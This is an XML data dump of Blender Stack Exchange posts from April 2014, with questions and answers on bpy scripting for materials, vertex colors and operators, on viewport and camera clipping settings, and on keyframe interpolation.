  <row Id="8549" PostTypeId="2" ParentId="8475" CreationDate="2014-04-13T13:17:05.407" Score="25" Body="&lt;p&gt;This code creates 10 materials and appends it to the active object (should be a mesh). The diffuse color of every material is random. The &lt;code&gt;.material_index&lt;/code&gt; poperty is set to the new materials by index (even if the object has materials assigned before the operation).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from random import random&#xA;&#xA;ob = bpy.context.object&#xA;me = ob.data&#xA;&#xA;mat_offset = len(me.materials)&#xA;mat_count = 10&#xA;&#xA;mats = []&#xA;for i in range(mat_count):&#xA;    mat = bpy.data.materials.new(&quot;Mat_%i&quot; % i)&#xA;    mat.diffuse_color = random(), random(), random()&#xA;    me.materials.append(mat)&#xA;&#xA;# Can't assign materials in editmode&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;&#xA;i = 0&#xA;for poly in me.polygons:&#xA;    if poly.select:&#xA;        poly.material_index = i % mat_count + mat_offset&#xA;        i += 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to use UV mapped textures, you'll also have to deal with &lt;code&gt;me.uv_layers&lt;/code&gt;and &lt;code&gt;me.uv_textures&lt;/code&gt;. It's not enough to assign materials to faces, you also need to set the texture image for every face.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-04-13T20:24:51.680" LastActivityDate="2014-04-13T20:24:51.680" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8550" PostTypeId="2" ParentId="8475" CreationDate="2014-04-13T13:30:07.050" Score="4" Body="&lt;p&gt;Abandon the approach of edit mode/non-edit mode and just focus on the datablock. Materials for faces are specified via material_index inside the datablock of a mesh type object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a Suzanne mesh to the scene and try this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, random&#xA;&#xA;ob = bpy.data.objects.get(&quot;Suzanne&quot;)&#xA;if ob != None:&#xA;    # Create a materials.&#xA;    mat_one = bpy.data.materials.get(&quot;mat_one&quot;)&#xA;    if mat_one == None:&#xA;        mat_one = bpy.data.materials.new(&quot;mat_one&quot;)&#xA;    mat_one.diffuse_color = (random.random(),random.random(),random.random())&#xA;&#xA;    mat_two = bpy.data.materials.get(&quot;mat_two&quot;)&#xA;    if mat_two == None:&#xA;        mat_two = bpy.data.materials.new(&quot;mat_two&quot;)&#xA;    mat_two.diffuse_color = (random.random(),random.random(),random.random())&#xA;&#xA;     # Add materials to slots.       &#xA;    ob.data.materials.append(mat_one)&#xA;    ob.data.materials.append(mat_two) &#xA;&#xA;    # Determine random count and poly count.  &#xA;    rnd_face_count = 12&#xA;    l = len(ob.data.polygons)&#xA;&#xA;    # Note: By default all faces have a material index of 0.&#xA;    for i in range(rnd_face_count):&#xA;        # Generate a random face index.&#xA;        rnd_face_index = random.randint(0,(l-1))&#xA;        ob.data.polygons[rnd_face_index].material_index = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is not the cleanest code but it shows one way to accomplish the task mentioned. If you run this code twice, however, you will discover that you are building up a list of new materials on the Suzanne object.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-04-13T13:30:07.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8552" PostTypeId="1" AcceptedAnswerId="8557" CreationDate="2014-04-13T16:01:36.377" Score="0" ViewCount="576" Body="&lt;p&gt;I'd like for the Screencast to display keys that are pressed after a transformation is begun. For example, after I select this cube and press &lt;kbd&gt;S&lt;/kbd&gt; to scale, I then press &lt;kbd&gt;Z&lt;/kbd&gt; &lt;kbd&gt;3&lt;/kbd&gt;, but neither the Z nor the 3 are displayed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z4oJi.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get these keys to show?&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2021-04-09T09:37:32.660" Title="How can I have Screencast display keys pressed during transform operations?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8553" PostTypeId="1" CreationDate="2014-04-13T16:02:20.490" Score="53" ViewCount="107260" Body="&lt;p&gt;I'm having an odd issue - When I try to zoom in on a detail using my MMB, the &quot;camera&quot; in the 3D view seems to be cutting off the exterior surface of my object and showing me the inside instead. I'd expect this behavior, but only when I was much more zoomed in.  If I zoom out a bit (one click on the scroll wheel) then I can see the exterior as I intend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to adjust this behavior?  Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WWucB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3124" LastEditorUserId="2173" LastEditDate="2014-04-24T02:34:46.840" LastActivityDate="2021-05-08T01:31:30.847" Title="Why does part of my model disappear when I zoom in on it in the 3D Viewport?" Tags="&lt;3d-view&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="8554" PostTypeId="2" ParentId="8553" CreationDate="2014-04-13T16:12:50.410" Score="62" Body="&lt;h2&gt;&lt;strong&gt;Clipping in the 3D Viewport:&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It sounds like you have your camera's Start Clipping Distance set too high in the 3D Viewport Properties. Clipping distances define the range (in distance units) within which objects are visible. If your distances are set incorrectly, your view gets &quot;clipped&quot; when you cross the clipping threshold, as you describe. To change the 3D Viewport clipping settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Properties panel (&lt;kbd&gt;N&lt;/kbd&gt;) -&gt; View section -&gt; set the Clip Start distance lower  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;strong&gt;NOTE:&lt;/strong&gt; These settings &lt;strong&gt;only effect display when NOT in Camera view&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y3o12.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/properties/sidebar.html#dview-view-clip&quot; rel=&quot;noreferrer&quot;&gt;clipping in the 3D Viewport here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Camera Clipping Settings&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Just so you know, there is also the option to adjust the clipping range of a camera. This effects the scene when viewed through the camera, such as in Camera View or when rendering. To change these properties:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select camera -&gt; Object Properties window -&gt; Camera tab -&gt; Lens section -&gt; adjust the Clipping Start and End values&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b1I7G.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To visualize the camera clip distance, select the camera and enable &lt;strong&gt;Display&lt;/strong&gt; &gt; &lt;strong&gt;Limits&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Uhtp2.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uhtp2.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cameras.html#lens&quot; rel=&quot;noreferrer&quot;&gt;camera clipping distance here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="45259" LastEditDate="2020-01-18T10:45:28.253" LastActivityDate="2020-01-18T10:45:28.253" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="8555" PostTypeId="2" ParentId="8553" CreationDate="2014-04-13T16:19:48.687" Score="12" Body="&lt;p&gt;The issue you're having has to do with the &quot;clip point&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender sets limits past which objects will not get displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a start (close) and end (far) clip point.&#xA;To change press &lt;kbd&gt;N&lt;/kbd&gt; and look for the clip settings in the &lt;em&gt;View&lt;/em&gt; rollout. Change the start clip to a lower number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iNvmZ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iNvmZ.png&quot; alt=&quot;ClippingViewAdjust&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="1245" LastEditDate="2016-05-01T16:22:47.493" LastActivityDate="2016-05-01T16:22:47.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8556" PostTypeId="1" AcceptedAnswerId="8670" CreationDate="2014-04-13T16:49:58.057" Score="2" ViewCount="1108" Body="&lt;p&gt;Why does adjusting the 3D Viewport's Start Clip setting not effect the 3D Viewport view when in Orthographic mode? The End Clip setting works, but the Start doesn't seem to...is this a bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A7khH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-17T16:45:00.103" LastActivityDate="2015-07-26T05:08:27.703" Title="Why does the 3D Viewport's Start Clip have no effect in Ortho view?" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8557" PostTypeId="2" ParentId="8552" CreationDate="2014-04-13T20:22:05.793" Score="2" Body="&lt;p&gt;Scaling is a modal operation itself, just like the screencast keys. During the transformation, all events are consumed by that modal operator and never occur for the screencast keys addon. There is no controllable event bubbling like in browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could only be solved by a native screencast keys implementation through which all events would have to pass first.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-13T20:22:05.793" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8558" PostTypeId="1" AcceptedAnswerId="8609" CreationDate="2014-04-13T20:38:09.323" Score="2" ViewCount="924" Body="&lt;p&gt;This is more of a compositor question. I have a video that I filmed (actually, it's stop-motion), but it has lots of light flicker (and I mean lots. Every frame is brighter or darker than the other). Is it possible to reduce this light flicker using Blender? I know there are other programs to do this with, like VitrualDub or AfterEffects, but I was wondering if I could use my favorite program (Blender, ;) ) to do it too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1828" LastActivityDate="2014-07-14T21:52:42.790" Title="Is it possible to reduce video light flicker with Bender?" Tags="&lt;compositor&gt;&lt;light&gt;&lt;video&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8559" PostTypeId="2" ParentId="8517" CreationDate="2014-04-13T23:14:42.483" Score="3" Body="&lt;p&gt;The easiest way is to use &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?280731-VSE-Transform-tool&quot; rel=&quot;nofollow noreferrer&quot;&gt;VSE Transform tool&lt;/a&gt; which does exactly what you need.&#xA;When you apply &lt;code&gt;Trasnform&lt;/code&gt; to your strip (simply by pressing &lt;code&gt;T&lt;/code&gt;) it automatically scales to keep aspect ratio of input image/video. So you don't have to do any manual calculations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it gets even better, because you can rotate, scale and move simply by clicking in preview window so you get instant feedback on what you've changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also my question about &lt;a href=&quot;https://blender.stackexchange.com/questions/4835/vse-proxy-and-offsetcrop&quot;&gt;VSE proxy and offset+crop&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1030" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2014-04-13T23:14:42.483" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8560" PostTypeId="1" AcceptedAnswerId="8561" CreationDate="2014-04-14T01:24:04.810" Score="10" ViewCount="4087" Body="&lt;p&gt;Through the user interface, you paint a vertex by hitting &lt;kbd&gt;V&lt;/kbd&gt; in 3D View, and clicking on a vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xmdf3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be achieved in Python?&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2018-10-01T02:08:15.477" Title="Apply vertex paint to a vertex" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8561" PostTypeId="2" ParentId="8560" CreationDate="2014-04-14T01:24:04.810" Score="12" Body="&lt;p&gt;This function should do the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def color_vertex(obj, vert, color):&#xA;    &quot;&quot;&quot;Paints a single vertex where vert is the index of the vertex&#xA;    and color is a tuple with the RGB values.&quot;&quot;&quot;&#xA;&#xA;    mesh = obj.data &#xA;    scn = bpy.context.scene&#xA;&#xA;    #check if our mesh already has Vertex Colors, and if not add some... (first we need to make sure it's the active object)&#xA;    scn.objects.active = obj&#xA;    obj.select = True&#xA;    if mesh.vertex_colors:&#xA;        vcol_layer = mesh.vertex_colors.active&#xA;    else:&#xA;        vcol_layer = mesh.vertex_colors.new()&#xA;&#xA;    for poly in mesh.polygons:&#xA;        for loop_index in poly.loop_indices:&#xA;            loop_vert_index = mesh.loops[loop_index].vertex_index&#xA;            if vert == loop_vert_index:&#xA;                vcol_layer.data[loop_index].color = color&#xA;&#xA;#example usage&#xA;color = (1.0, 0.0, 1.0)  # pink&#xA;color_vertex(bpy.context.scene.objects['Cube'], 1, color)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="55" LastEditDate="2014-04-14T10:49:40.023" LastActivityDate="2014-04-14T10:49:40.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8563" PostTypeId="2" ParentId="8039" CreationDate="2014-04-14T05:17:40.260" Score="0" Body="&lt;p&gt;Another one is that you can not use textures with lamps at all, because you can not unwrap them. It become main problem in my project.&lt;/p&gt;&#xA;" OwnerUserId="2439" LastActivityDate="2014-04-14T05:17:40.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8564" PostTypeId="1" CreationDate="2014-04-14T06:32:37.787" Score="1" ViewCount="137" Body="&lt;p&gt;I'm new to Blender and have been playing with rigid body simulations. I have noticed that collisions are not very accurate, which is usually okay, but, in this instance, it makes objects fly through each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NTQnz.png&quot; alt=&quot;img1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This simulation moved the plane upwards, smashing a cylinder into pieces. Note that there are pieces below the plane which didn't perform collision checks correctly. How can such occurrences be prevented?&lt;/p&gt;&#xA;" OwnerUserId="3129" LastEditorUserId="1253" LastEditDate="2014-04-14T23:56:25.457" LastActivityDate="2014-04-14T23:56:25.457" Title="Rigid body collision not precise" Tags="&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-04-15T15:51:03.960" ContentLicense="CC BY-SA 3.0" />
  <row Id="8565" PostTypeId="1" CreationDate="2014-04-14T09:49:28.077" Score="4" ViewCount="90" Body="&lt;p&gt;I have a question about the material types in the game-engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/api/blender_python_api_2_66_4/bge.types.KX_PolyProxy.html#module-bge.types&quot; rel=&quot;nofollow noreferrer&quot;&gt;2.66 Blender API - KX_PolyProxy(SCA_IObject)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/api/blender_python_api_2_66_4/bge.types.KX_PolyProxy.html#bge.types.KX_PolyProxy.material&quot; rel=&quot;nofollow noreferrer&quot;&gt;2.66 Blender API - name ~ The material of the polygon.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When is the material a BlenderMaterial object ?&#xA;and&lt;/li&gt;&#xA;&lt;li&gt;when a PoylgonMaterial object?&lt;/li&gt;&#xA;&lt;li&gt;What are the internal differences?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2302" LastEditorDisplayName="user58715" LastEditDate="2019-07-07T18:59:49.097" LastActivityDate="2019-07-07T18:59:49.097" Title="GameEngine: KX_BlenderMaterial vs KX_PolygonMaterial" Tags="&lt;materials&gt;&lt;game-engine&gt;&lt;shaders&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="8569" PostTypeId="1" CreationDate="2014-04-14T11:56:41.530" Score="3" ViewCount="3508" Body="&lt;p&gt;I use Photoshops Surface Blur to reduce the noise, but it operates only on 2D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Isn't there a way to blur in Blender, but also smarter then PS maybe using some extended info that Blender has?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;http://mattebb.com/weblog/surface-blur/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mattebb.com/weblog/surface-blur/&lt;/a&gt; , but the sample link is broken and quite old&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Any idea how to make &quot;smart&quot; blur directly in Blender?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vbnfS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3ZG4E.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3132" LastEditorUserId="2217" LastEditDate="2014-08-05T18:11:52.143" LastActivityDate="2014-08-05T18:11:52.143" Title="Noise reduction blur / postprocess in blender" Tags="&lt;cycles-render-engine&gt;&lt;blur&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8570" PostTypeId="2" ParentId="8542" CreationDate="2014-04-14T12:03:37.187" Score="2" Body="&lt;p&gt;Starting at 2.52 blender started saving it's startup.blend file in a new folder for every version. When you first run a new version of blender it sees that there is no startup.blend for it and looks for the previous version then gives you an option to copy the previous settings. I think this may only look for one or two previous versions, so if you update from 2.63 to 2.70 you may not get this option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/getting_started/installing/configuration/directories.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;This manual page&lt;/a&gt; describes the locations that the startup.blend can be found. You can easily find the current startup.blend (and userpref.blend) and delete it so that you will get the option to copy previous settings. You could also locate an older startup.blend file and copy that to the new version folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On linux, the folder is located at &lt;code&gt;~/.config/blender/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On OSX, the folder is located at &lt;code&gt;/Users/{user}/Library/Application Support/Blender/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Windows, the folder is located at &lt;code&gt;C:\Documents and Settings\{username}\AppData\Roaming\Blender Foundation\Blender\&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2017-04-11T04:15:23.197" LastActivityDate="2017-04-11T04:15:23.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8572" PostTypeId="2" ParentId="7752" CreationDate="2014-04-14T13:06:09.127" Score="1" Body="&lt;p&gt;-------Update: 15.04.2014 (new link)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;meanwhile it is possible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HERE is an excellent tutorial explaining the smoke/fire setup in cycles in detail:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=oSiV5gg_lCs&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=oSiV5gg_lCs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the tutorial you'll have to download a current build from &lt;a href=&quot;http://builder.blender.org/download/&quot; rel=&quot;nofollow&quot;&gt;http://builder.blender.org/download/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The node setup is still quite complex but I asume there will be an extra node/shader for smoke making the setup much easier in coming blender releases.&lt;/p&gt;&#xA;" OwnerUserId="3134" LastEditorUserId="3134" LastEditDate="2014-04-15T10:33:43.910" LastActivityDate="2014-04-15T10:33:43.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8574" PostTypeId="1" AcceptedAnswerId="8580" CreationDate="2014-04-14T16:38:37.960" Score="3" ViewCount="1856" Body="&lt;p&gt;I have never done scripting in Blender, so I am looking how to solve this task. I have 1000 OBJ files that I have to import in Blender one by one, and to render each one under the same setting. The workflow is roughly like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;import the OBJ&lt;/li&gt;&#xA;&lt;li&gt;rotate and scale the object (constant value)&lt;/li&gt;&#xA;&lt;li&gt;create a plane at z=0&lt;/li&gt;&#xA;&lt;li&gt;put a lamp at a specific location&lt;/li&gt;&#xA;&lt;li&gt;render the image&lt;/li&gt;&#xA;&lt;li&gt;move the lamp to a second specific location &lt;/li&gt;&#xA;&lt;li&gt;render the second image&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And this has to be done 1000 times (for each OBJ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am proficient with Python if it helps.&lt;/p&gt;&#xA;" OwnerUserId="3137" LastActivityDate="2014-04-14T20:21:50.667" Title="Automating Blender workflow with opening OBJs and rendering them with options" Tags="&lt;scripting&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8575" PostTypeId="1" AcceptedAnswerId="8578" CreationDate="2014-04-14T16:43:35.973" Score="3" ViewCount="209" Body="&lt;p&gt;I know you can make keyframes interpolation linear, constant, or Bezier, but this affects all of them.  How can I do this to just a few without dragging the handles?&lt;/p&gt;&#xA;" OwnerUserId="2883" LastActivityDate="2014-04-14T19:54:21.063" Title="Make only some keyframes linear" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8576" PostTypeId="1" CreationDate="2014-04-14T17:49:42.217" Score="4" ViewCount="1386" Body="&lt;p&gt;I'm calling one of my operators within another operator. The code worked fine until I tried it on a new file. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search for unknown operator 'MYPLUG_OT_update_list'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'll try to simplify the code here&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class login(bpy.types.Operator):&#xA;    bl_idname = &quot;myplug.login&quot;&#xA;    bl_label = &quot;Login&quot;&#xA;&#xA;    def execute(self,context):&#xA;        ....&#xA;&#xA;        bpy.ops.myplugin.update_list()&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;class updateList(bpy.types.Operator):&#xA;    bl_idname = &quot;myplug.update_list&quot;&#xA;    bl_label = &quot;UpdateList&quot;&#xA;&#xA;    def execute(self,context):&#xA;        ....&#xA;        return {'FINISHED'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == '__main__':&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I'm debating whether I need to preregister the dependent Operator or call it with some other convention.&lt;/p&gt;&#xA;" OwnerUserId="2452" LastEditorUserId="47" LastEditDate="2015-04-29T11:38:47.763" LastActivityDate="2015-04-29T12:56:44.143" Title="search for unknown operator (bpy warning in custom script)" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="6" ClosedDate="2015-04-29T14:23:33.210" ContentLicense="CC BY-SA 3.0" />
  <row Id="8577" PostTypeId="1" AcceptedAnswerId="8581" CreationDate="2014-04-14T19:35:18.873" Score="3" ViewCount="4251" Body="&lt;p&gt;I have written a simple operator to save the current blender file, but when the operator reaches the save function I get an error. I used the &lt;code&gt;bpy.ops.save_as_mainfile()&lt;/code&gt; function for saving a scene, but I don't know if it's the right one to choose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The console outputs this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TypeError: 'BPyOpsSubMod' object is not callable&#xA;location: /opt/blender/2.70/scripts/modules/bpy/ops.py:188&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does that mean I cannot call functions from &lt;code&gt;bpy.ops&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My script is the the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;class SaveOperator(bpy.types.Operator):&#xA;    bl_idname = &quot;object.save_op&quot;&#xA;    bl_label = &quot;Save scene&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.active_object is not None&#xA;&#xA;    def execute(self, context):&#xA;&#xA;        # build file name stuff&#xA;        # ...&#xA;&#xA;        bpy.ops.save_as_mainfile('~/' + new_file_name)&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SaveOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SaveOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.object.save_op()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2478" LastEditorUserId="1112" LastEditDate="2014-04-14T23:41:56.683" LastActivityDate="2014-04-14T23:41:56.683" Title="Save file inside an operator" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8578" PostTypeId="2" ParentId="8575" CreationDate="2014-04-14T19:54:21.063" Score="2" Body="&lt;p&gt;Select the keyframes in the graph editor and press &lt;kbd&gt;T&lt;/kbd&gt;&lt;em&gt;&gt; Linear&lt;/em&gt;. This will only affect the selected keyframes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n1U9K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-14T19:54:21.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8579" PostTypeId="1" AcceptedAnswerId="8582" CreationDate="2014-04-14T20:08:57.097" Score="3" ViewCount="801" Body="&lt;p&gt;I'm trying to animate a neon sign that blinks, but I'm having trouble with my materials.  &lt;a href=&quot;http://www.pasteall.org/blend/28445&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's the .blend file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the Blender Internal renderer.  In order to have a neon sign that blinks I created a material that uses nodes to alternate between two simple materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WJcK8.png&quot; alt=&quot;material nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Fac&quot; property on the mixes is animated using constant interpolation so it toggles between 0 and 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the materials (neon phase 2) works just fine.  Unfortunately, neon phase 1 (which is the &quot;opposite&quot;) does not.  When it is off it is not translucent like glass.  It is a shiny opaque grey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the critical difference between the two node-based materials that makes one work correctly, and the other be opaque all the time?  How do I fix it or work around it?&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="2217" LastEditDate="2014-04-26T18:41:56.070" LastActivityDate="2014-04-26T18:41:56.070" Title="Why is my Material Nodes -based blender internal texture not translucent like the other one? How do I work around it?" Tags="&lt;nodes&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
